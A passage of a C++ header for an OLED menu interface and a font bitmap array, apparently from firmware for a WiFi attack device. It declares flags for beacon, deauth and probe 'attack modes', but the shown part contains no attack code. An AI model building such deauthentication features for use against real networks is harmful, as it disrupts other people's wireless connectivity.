800ms\n};\n\nstruct Menu {\n    SimpleList<MenuNode>* list;\n    Menu                * parentMenu;\n    uint8_t               selected;\n    std::function<void()> build; // function that is executed when button is clicked\n};\n\nenum class DISPLAY_MODE { OFF,\n                          BUTTON_TEST,\n                          MENU,\n                          LOADSCAN,\n                          PACKETMONITOR,\n                          INTRO,\n                          CLOCK,\n                          CLOCK_DISPLAY,\n                          RESETTING };\n\nclass DisplayUI {\n    public:\n        DISPLAY_MODE mode = DISPLAY_MODE::MENU;\n        bool highlightLED = false;\n\n        Button* up   = NULL;\n        Button* down = NULL;\n        Button* a    = NULL;\n        Button* b    = NULL;\n\n        // ===== adjustable ===== //\n#if defined(SSD1306_I2C)\n        SSD1306Wire display = SSD1306Wire(I2C_ADDR, I2C_SDA, I2C_SCL);\n#elif defined(SSD1306_SPI)\n        SSD1306Spi display = SSD1306Spi(SPI_RES, SPI_DC, SPI_CS);\n#elif defined(SH1106_I2C)\n        SH1106Wire display = SH1106Wire(I2C_ADDR, I2C_SDA, I2C_SCL);\n#elif defined(SH1106_SPI)\n        SH1106Spi display = SH1106Spi(SPI_RES, SPI_DC, SPI_CS);\n#endif /* if defined(SSD1306_I2C) */\n\n        const uint8_t maxLen           = 18;\n        const uint8_t lineHeight       = 12;\n        const uint8_t buttonDelay      = 250;\n        const uint8_t drawInterval     = 100; // 100ms = 10 FPS\n        const uint16_t scrollSpeed     = 500; // time interval in ms\n        const uint16_t screenIntroTime = 2500;\n        const uint16_t screenWidth     = 128;\n        const uint16_t sreenHeight     = 64;\n\n        void configInit();\n        void configOn();\n        void configOff();\n        void updatePrefix();\n        void updateSuffix();\n        void drawString(int x, int y, String str);\n        void drawString(int row, String str);\n        void drawLine(int x1, int y1, int x2, int y2);\n        // ====================== //\n\n        DisplayUI();\n        ~DisplayUI();\n\n        void setup();\n#ifdef HIGHLIGHT_LED\n        void setupLED();\n#endif // ifdef HIGHLIGHT_LED\n\n        void update(bool force = false);\n        void on();\n        void off();\n\n    private:\n        int16_t selectedID    = 0; // i.e. access point ID to draw the apMenu\n        uint8_t scrollCounter = 0; // for horizontal scrolling\n\n        uint32_t scrollTime = 0;   // last time a character was moved\n        uint32_t drawTime   = 0;   // last time a frame was drawn\n        uint32_t startTime  = 0;   // when the screen was enabled\n        uint32_t buttonTime = 0;   // last time a button was pressed\n\n        bool enabled = false;      // display enabled\n        bool tempOff = false;\n\n        // selected attack modes\n        bool beaconSelected = false;\n        bool deauthSelected = false;\n        bool probeSelected  = false;\n\n        // menus\n        Menu* currentMenu;\n\n        Menu mainMenu;\n\n        Menu scanMenu;\n        Menu showMenu;\n        Menu attackMenu;\n        Menu clockMenu;\n\n        Menu apListMenu;\n        Menu stationListMenu;\n        Menu nameListMenu;\n        Menu ssidListMenu;\n\n        Menu apMenu;\n        Menu stationMenu;\n        Menu nameMenu;\n        Menu ssidMenu;\n\n        void setupButtons();\n\n        String getChannel();\n\n        // draw functions\n        void draw(bool force = false);\n        void drawButtonTest();\n        void drawMenu();\n        void drawLoadingScan();\n        void drawPacketMonitor();\n        void drawIntro();\n        void drawResetting();\n        void clearMenu(Menu* menu);\n\n        // menu functions\n        void changeMenu(Menu* menu);\n        void goBack();\n        void createMenu(Menu* menu, Menu* parent, std::function<void()>build);\n\n        void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click, std::function<void()>hold);\n        void addMenuNode(Menu* menu, std::function<String()>getStr, std::function<void()>click);\n        void addMenuNode(Menu* menu, std::function<String()>getStr, Menu* next);\n        void addMenuNode(Menu* menu, const char* ptr, std::function<void()>click);\n        void addMenuNode(Menu* menu, const char* ptr, Menu* next);\n\n        // fake clock\n        void drawClock();\n        void setTime(int h, int m, int s);\n\n        int clockHour   = 6;\n        int clockMinute = 0;\n        int clockSecond = 0;\n\n        uint32_t clockTime = 0;\n\n#ifdef RTC_DS3231\n        DS3231 clock;\n#endif // ifdef RTC_DS3231\n};\n\n// ===== FONT ===== //\n// Created by http://oleddisplay.squix.ch/ Consider a donation\n// In case of problems make sure that you are using the font file with the correct version!\nconst uint8_t DejaVu_Sans_Mono_12[] PROGMEM = {\n    0x07,                                                                               // Width: 7\n    0x0F,                                                                               // Height: 15\n    0x20,                                                                               // First Char: 32\n    0xE0,                                                                               // Numbers of Chars: 224\n\n    // Jump Table:\n    0xFF, 0xFF, 0x00, 0x07,                                                             // 32:65535\n    0x00, 0x00, 0x08, 0x07,                                                             // 33:0\n    0x00, 0x08, 0x09, 0x07,                                                             // 34:8\n    0x00, 0x11, 0x0D, 0x07,                                                             // 35:17\n    0x00, 0x1E, 0x0C, 0x07,                                                             // 36:30\n    0x00, 0x2A, 0x0E, 0x07,                                                             // 37:42\n    0x00, 0x38, 0x0E, 0x07,                                                             // 38:56\n    0x00, 0x46, 0x07, 0x07,                                                             // 39:70\n    0x00, 0x4D, 0x0C, 0x07,                                                             // 40:77\n    0x00, 0x59, 0x0A, 0x07,                                                             // 41:89\n    0x00, 0x63, 0x0B, 0x07,                                                             // 42:99\n    0x00, 0x6E, 0x0E, 0x07,                                                             // 43:110\n    0x00, 0x7C, 0x08, 0x07,                                                             // 44:124\n    0x00, 0x84, 0x0A, 0x07,                                                             // 45:132\n    0x00, 0x8E, 0x08, 0x07,                                                             // 46:142\n    0x00, 0x96, 0x0D, 0x07,                                                             // 47:150\n    0x00, 0xA3, 0x0E, 0x07,                                                             // 48:163\n    0x00, 0xB1, 0x0C, 0x07,                                                             // 49:177\n    0x00, 0xBD, 0x0E, 0x07,                                                             // 50:189\n    0x00, 0xCB, 0x0E, 0x07,                                                             // 51:203\n    0x00, 0xD9, 0x0E, 0x07,                                                             // 52:217\n    0x00, 0xE7, 0x0E, 0x07,                                                             // 53:231\n    0x00, 0xF5, 0x0E, 0x07,                                                             // 54:245\n    0x01, 0x03, 0x0D, 0x07,                                                             // 55:259\n    0x01, 0x10, 0x0E, 0x07,                                                             // 56:272\n    0x01, 0x1E, 0x0E, 0x07,                                                             // 57:286\n    0x01, 0x2C, 0x08, 0x07,                                                             // 58:300\n    0x01, 0x34, 0x08, 0x07,                                                             // 59:308\n    0x01, 0x3C, 0x0E, 0x07,                                                             // 60:316\n    0x01, 0x4A, 0x0E, 0x07,                                                             // 61:330\n    0x01, 0x58, 0x0E, 0x07,                                                             // 62:344\n    0x01, 0x66, 0x0D, 0x07,                                                             // 63:358\n    0x01, 0x73, 0x0E, 0x07,                                                             // 64:371\n    0x01, 0x81, 0x0E, 0x07,                                                             // 65:385\n    0x01, 0x8F, 0x0E, 0x07,                                                             // 66:399\n    0x01, 0x9D, 0x0E, 0x07,                                                             // 67:413\n    0x01, 0xAB, 0x0E, 0x07,                                                             // 68:427\n    0x01, 0xB9, 0x0E, 0x07,                                                             // 69:441\n    0x01, 0xC7, 0x0D, 0x07,                                                             // 70:455\n    0x01, 0xD4, 0x0E, 0x07,                                                             // 71:468\n    0x01, 0xE2, 0x0E, 0x07,                                                             // 72:482\n    0x01, 0xF0, 0x0C, 0x07,                                                             // 73:496\n    0x01, 0xFC, 0x0C, 0x07,                                                             // 74:508\n    0x02, 0x08, 0x0E, 0x07,                                                             // 75:520\n    0x02, 0x16, 0x0E, 0x07,                                                             // 76:534\n    0x02, 0x24, 0x0E, 0x07,                                                             // 77:548\n    0x02, 0x32, 0x0E, 0x07,                                                             // 78:562\n    0x02, 0x40, 0x0E, 0x07,                                                             // 79:576\n    0x02, 0x4E, 0x0D, 0x07,                                                             // 80:590\n    0x02, 0x5B, 0x0E, 0x07,                                                             // 81:603\n    0x02, 0x69, 0x0E, 0x07,                                                             // 82:617\n    0x02, 0x77, 0x0E, 0x07,                                                             // 83:631\n    0x02, 0x85, 0x0D, 0x07,                                                             // 84:645\n    0x02, 0x92, 0x0E, 0x07,                                                             // 85:658\n    0x02, 0xA0, 0x0D, 0x07,                                                             // 86:672\n    0x02, 0xAD, 0x0E, 0x07,                                                             // 87:685\n    0x02, 0xBB, 0x0E, 0x07,                                                             // 88:699\n    0x02, 0xC9, 0x0D, 0x07,                                                             // 89:713\n    0x02, 0xD6, 0x0E, 0x07,                                                             // 90:726\n    0x02, 0xE4, 0x0A, 0x07,                                                             // 91:740\n    0x02, 0xEE, 0x0E, 0x07,                                                             // 92:750\n    0x02, 0xFC, 0x08, 0x07,                                                             // 93:764\n    0x03, 0x04, 0x0B, 0x07,                                                             // 94:772\n    0x03, 0x0F, 0x0E, 0x07,                                                             // 95:783\n    0x03, 0x1D, 0x09, 0x07,                                                             // 96:797\n    0x03, 0x26, 0x0C, 0x07,                                                             // 97:806\n    0x03, 0x32, 0x0C, 0x07,                                                             // 98:818\n    0x03, 0x3E, 0x0C, 0x07,                                                             // 99:830\n    0x03, 0x4A, 0x0C, 0x07,                                                             // 100:842\n    0x03, 0x56, 0x0C, 0x07,                                                             // 101:854\n    0x03, 0x62, 0x0B, 0x07,                                                             // 102:866\n    0x03, 0x6D, 0x0C, 0x07,                                                             // 103:877\n    0x03, 0x79, 0x0C, 0x07,                                                             // 104:889\n    0x03, 0x85, 0x0C, 0x07,                                                             // 105:901\n    0x03, 0x91, 0x0A, 0x07,                                                             // 106:913\n    0x03, 0x9B, 0x0C, 0x07,                                                             // 107:923\n    0x03, 0xA7, 0x0C, 0x07,                                                             // 108:935\n    0x03, 0xB3, 0x0C, 0x07,                                                             // 109:947\n    0x03, 0xBF, 0x0C, 0x07,                                                             // 110:959\n    0x03, 0xCB, 0x0C, 0x07,                                                             // 111:971\n    0x03, 0xD7, 0x0C, 0x07,                                                             // 112:983\n    0x03, 0xE3, 0x0C, 0x07,                                                             // 113:995\n    0x03, 0xEF, 0x0D, 0x07,                                                             // 114:1007\n    0x03, 0xFC, 0x0C, 0x07,                                                             // 115:1020\n    0x04, 0x08, 0x0C, 0x07,                                                             // 116:1032\n    0x04, 0x14, 0x0C, 0x07,                                                             // 117:1044\n    0x04, 0x20, 0x0B, 0x07,                                                             // 118:1056\n    0x04, 0x2B, 0x0D, 0x07,                                                             // 119:1067\n    0x04, 0x38, 0x0C, 0x07,                                                             // 120:1080\n    0x04, 0x44, 0x0B, 0x07,                                                             // 121:1092\n    0x04, 0x4F, 0x0C, 0x07,                                                             // 122:1103\n    0x04, 0x5B, 0x0C, 0x07,                                                             // 123:1115\n    0x04, 0x67, 0x08, 0x07,                                                             // 124:1127\n    0x04, 0x6F, 0x0B, 0x07,                                                             // 125:1135\n    0x04, 0x7A, 0x0E, 0x07,                                                             // 126:1146\n    0x04, 0x88, 0x0E, 0x07,                                                             // 127:1160\n    0x04, 0x96, 0x0E, 0x07,                                                             // 128:1174\n    0x04, 0xA4, 0x0E, 0x07,                                                             // 129:1188\n    0x04, 0xB2, 0x0E, 0x07,                                                             // 130:1202\n    0x04, 0xC0, 0x0E, 0x07,                                                             // 131:1216\n    0x04, 0xCE, 0x0E, 0x07,                                                             // 132:1230\n    0x04, 0xDC, 0x0E, 0x07,                                                             // 133:1244\n    0x04, 0xEA, 0x0E, 0x07,                                                             // 134:1258\n    0x04, 0xF8, 0x0E, 0x07,                                                             // 135:1272\n    0x05, 0x06, 0x0E, 0x07,                                                             // 136:1286\n    0x05, 0x14, 0x0E, 0x07,                                                             // 137:1300\n    0x05, 0x22, 0x0E, 0x07,                                                             // 138:1314\n    0x05, 0x30, 0x0E, 0x07,                                                             // 139:1328\n    0x05, 0x3E, 0x0E, 0x07,                                                             // 140:1342\n    0x05, 0x4C, 0x0E, 0x07,                                                             // 141:1356\n    0x05, 0x5A, 0x0E, 0x07,                                                             // 142:1370\n    0x05, 0x68, 0x0E, 0x07,                                                             // 143:1384\n    0x05, 0x76, 0x0E, 0x07,                                                             // 144:1398\n    0x05, 0x84, 0x0E, 0x07,                                                             // 145:1412\n    0x05, 0x92, 0x0E, 0x07,                                                             // 146:1426\n    0x05, 0xA0, 0x0E, 0x07,                                                             // 147:1440\n    0x05, 0xAE, 0x0E, 0x07,                                                             // 148:1454\n    0x05, 0xBC, 0x0E, 0x07,                                                             // 149:1468\n    0x05, 0xCA, 0x0E, 0x07,                                                             // 150:1482\n    0x05, 0xD8, 0x0E, 0x07,                                                             // 151:1496\n    0x05, 0xE6, 0x0E, 0x07,                                                             // 152:1510\n    0x05, 0xF4, 0x0E, 0x07,                                                             // 153:1524\n    0x06, 0x02, 0x0E, 0x07,                                                             // 154:1538\n    0x06, 0x10, 0x0E, 0x07,                                                             // 155:1552\n    0x06, 0x1E, 0x0E, 0x07,                                                             // 156:1566\n    0x06, 0x2C, 0x0E, 0x07,                                                             // 157:1580\n    0x06, 0x3A, 0x0E, 0x07,                                                             // 158:1594\n    0x06, 0x48, 0x0E, 0x07,                                                             // 159:1608\n    0xFF, 0xFF, 0x00, 0x07,                                                             // 160:65535\n    0x06, 0x56, 0x08, 0x07,                                                             // 161:1622\n    0x06, 0x5E, 0x0C, 0x07,                                                             // 162:1630\n    0x06, 0x6A, 0x0C, 0x07,                                                             // 163:1642\n    0x06, 0x76, 0x0E, 0x07,                                                             // 164:1654\n    0x06, 0x84, 0x0D, 0x07,                                                             // 165:1668\n    0x06, 0x91, 0x08, 0x07,                                                             // 166:1681\n    0x06, 0x99, 0x0C, 0x07,                                                             // 167:1689\n    0x06, 0xA5, 0x09, 0x07,                                                             // 168:1701\n    0x06, 0xAE, 0x0E, 0x07,                                                             // 169:1710\n    0x06, 0xBC, 0x0A, 0x07,                                                             // 170:1724\n    0x06, 0xC6, 0x0E, 0x07,                                                             // 171:1734\n    0x06, 0xD4, 0x0E, 0x07,                                                             // 172:1748\n    0x06, 0xE2, 0x0A, 0x07,                                                             // 173:1762\n    0x06, 0xEC, 0x0E, 0x07,                                                             // 174:1772\n    0x06, 0xFA, 0x0B, 0x07,                                                             // 175:1786\n    0x07, 0x05, 0x0B, 0x07,                                                             // 176:1797\n    0x07, 0x10, 0x0E, 0x07,                                                             // 177:1808\n    0x07, 0x1E, 0x09, 0x07,                                                             // 178:1822\n    0x07, 0x27, 0x0B, 0x07,                                                             // 179:1831\n    0x07, 0x32, 0x09, 0x07,                                                             // 180:1842\n    0x07, 0x3B, 0x0E, 0x07,                                                             // 181:1851\n    0x07, 0x49, 0x0E, 0x07,                                                             // 182:1865\n    0x07, 0x57, 0x08, 0x07,                                                             // 183:1879\n    0x07, 0x5F, 0x0A, 0x07,                                                             // 184:1887\n    0x07, 0x69, 0x09, 0x07,                                                             // 185:1897\n    0x07, 0x72, 0x0A, 0x07,                                                             // 186:1906\n    0x07, 0x7C, 0x0E, 0x07,                                                             // 187:1916\n    0x07, 0x8A, 0x0E, 0x07,                                                             // 188:1930\n    0x07, 0x98, 0x0C, 0x07,                                                             // 189:1944\n    0x07, 0xA4, 0x0E, 0x07,                                                             // 190:1956\n    0x07, 0xB2, 0x0A, 0x07,                                                             // 191:1970\n    0x07, 0xBC, 0x0E, 0x07,                                                             // 192:1980\n    0x07, 0xCA, 0x0E, 0x07,                                                             // 193:1994\n    0x07, 0xD8, 0x0E, 0x07,                                                             // 194:2008\n    0x07, 0xE6, 0x0E, 0x07,                                                             // 195:2022\n    0x07, 0xF4, 0x0E, 0x07,                                                             // 196:2036\n    0x08, 0x02, 0x0E, 0x07,                                                             // 197:2050\n    0x08, 0x10, 0x0E, 0x07,                                                             // 198:2064\n    0x08, 0x1E, 0x0E, 0x07,                                                             // 199:2078\n    0x08, 0x2C, 0x0E, 0x07,                                                             // 200:2092\n    0x08, 0x3A, 0x0E, 0x07,                                                             // 201:2106\n    0x08, 0x48, 0x0E, 0x07,                                                             // 202:2120\n    0x08, 0x56, 0x0E, 0x07,                                                             // 203:2134\n    0x08, 0x64, 0x0C, 0x07,                                                             // 204:2148\n    0x08, 0x70, 0x0C, 0x07,                                                             // 205:2160\n    0x08, 0x7C, 0x0C, 0x07,                                                             // 206:2172\n    0x08, 0x88, 0x0C, 0x07,                                                             // 207:2184\n    0x08, 0x94, 0x0E, 0x07,                                                             // 208:2196\n    0x08, 0xA2, 0x0E, 0x07,                                                             // 209:2210\n    0x08, 0xB0, 0x0E, 0x07,                                                             // 210:2224\n    0x08, 0xBE, 0x0E, 0x07,                                                             // 211:2238\n    0x08, 0xCC, 0x0E, 0x07,                                                             // 212:2252\n    0x08, 0xDA, 0x0E, 0x07,                                                             // 213:2266\n    0x08, 0xE8, 0x0E, 0x07,                                                             // 214:2280\n    0x08, 0xF6, 0x0C, 0x07,                                                             // 215:2294\n    0x09, 0x02, 0x0E, 0x07,                                                             // 216:2306\n    0x09, 0x10, 0x0E, 0x07,                                                             // 217:2320\n    0x09, 0x1E, 0x0E, 0x07,                                                             // 218:2334\n    0x09, 0x2C, 0x0E, 0x07,                                                             // 219:2348\n    0x09, 0x3A, 0x0E, 0x07,                                                             // 220:2362\n    0x09, 0x48, 0x0D, 0x07,                                                             // 221:2376\n    0x09, 0x55, 0x0D, 0x07,                                                             // 222:2389\n    0x09, 0x62, 0x0C, 0x07,                                                             // 223:2402\n    0x09, 0x6E, 0x0C, 0x07,                                                             // 224:2414\n    0x09, 0x7A, 0x0C, 0x07,                                                             // 225:2426\n    0x09, 0x86, 0x0C, 0x07,                                                             // 226:2438\n    0x09, 0x92, 0x0C, 0x07,                                                             // 227:2450\n    0x09, 0x9E, 0x0C, 0x07,                                                             // 228:2462\n    0x09, 0xAA, 0x0C, 0x07,                                                             // 229:2474\n    0x09, 0xB6, 0x0C, 0x07,                                                             // 230:2486\n    0x09, 0xC2, 0x0C, 0x07,                                                             // 231:2498\n    0x09, 0xCE, 0x0C, 0x07,                                                             // 232:2510\n    0x09, 0xDA, 0x0C, 0x07,                                                             // 233:2522\n    0x09, 0xE6, 0x0C, 0x07,                                                             // 234:2534\n    0x09, 0xF2, 0x0C, 0x07,                                                             // 235:2546\n    0x09, 0xFE, 0x0C, 0x07,                                                             // 236:2558\n    0x0A, 0x0A, 0x0C, 0x07,                                                             // 237:2570\n    0x0A, 0x16, 0x0C, 0x07,                                                             // 238:2582\n    0x0A, 0x22, 0x0C, 0x07,                                                             // 239:2594\n    0x0A, 0x2E, 0x0C, 0x07,                                                             // 240:2606\n    0x0A, 0x3A, 0x0C, 0x07,                                                             // 241:2618\n    0x0A, 0x46, 0x0C, 0x07,                                                             // 242:2630\n    0x0A, 0x52, 0x0C, 0x07,                                                             // 243:2642\n    0x0A, 0x5E, 0x0C, 0x07,                                                             // 244:2654\n    0x0A, 0x6A, 0x0C, 0x07,                                                             // 245:2666\n    0x0A, 0x76, 0x0C, 0x07,                                                             // 246:2678\n    0x0A, 0x82, 0x0C, 0x07,                                                             // 247:2690\n    0x0A, 0x8E, 0x0C, 0x07,                                                             // 248:2702\n    0x0A, 0x9A, 0x0C, 0x07,                                                             // 249:2714\n    0x0A, 0xA6, 0x0C, 0x07,                                                             // 250:2726\n    0x0A, 0xB2, 0x0C, 0x07,                                                             // 251:2738\n    0x0A, 0xBE, 0x0C, 0x07,                                                             // 252:2750\n    0x0A, 0xCA, 0x0B, 0x07,                                                             // 253:2762\n    0x0A, 0xD5, 0x0C, 0x07,                                                             // 254:2773\n    0x0A, 0xE1, 0x0B, 0x07,                                                             // 255:2785\n\n    // Font Data:\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D,                                     // 33\n    0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38,                               // 34\n    0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40,       // 35\n    0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07,             // 36\n    0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37\n    0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38,                                           // 39\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10,             // 40\n    0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03,                         // 41\n    0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90,                   // 42\n    0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C,                                     // 44\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,                         // 45\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C,                                     // 46\n    0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08,       // 47\n    0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48\n    0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08,             // 49\n    0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50\n    0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51\n    0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52\n    0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53\n    0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54\n    0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18,       // 55\n    0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56\n    0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C,                                     // 58\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C,                                     // 59\n    0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60\n    0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61\n    0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62\n    0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30,       // 63\n    0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64\n    0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65\n    0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66\n    0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67\n    0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68\n    0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69\n    0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88,       // 70\n    0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71\n    0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72\n    0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08,             // 73\n    0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07,             // 74\n    0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75\n    0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76\n    0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77\n    0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78\n    0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79\n    0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70,       // 80\n    0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81\n    0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82\n    0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83\n    0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08,       // 84\n    0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85\n    0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18,       // 86\n    0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87\n    0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88\n    0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08,       // 89\n    0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10,                         // 91\n    0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92\n    0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F,                                     // 93\n    0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20,                   // 94\n    0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08,                               // 96\n    0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F,             // 97\n    0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07,             // 98\n    0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08,             // 99\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F,             // 100\n    0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05,             // 101\n    0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24,                   // 102\n    0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F,             // 103\n    0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F,             // 104\n    0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08,             // 105\n    0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F,                         // 106\n    0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08,             // 107\n    0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08,             // 108\n    0x00, 0x00, 0xE0, 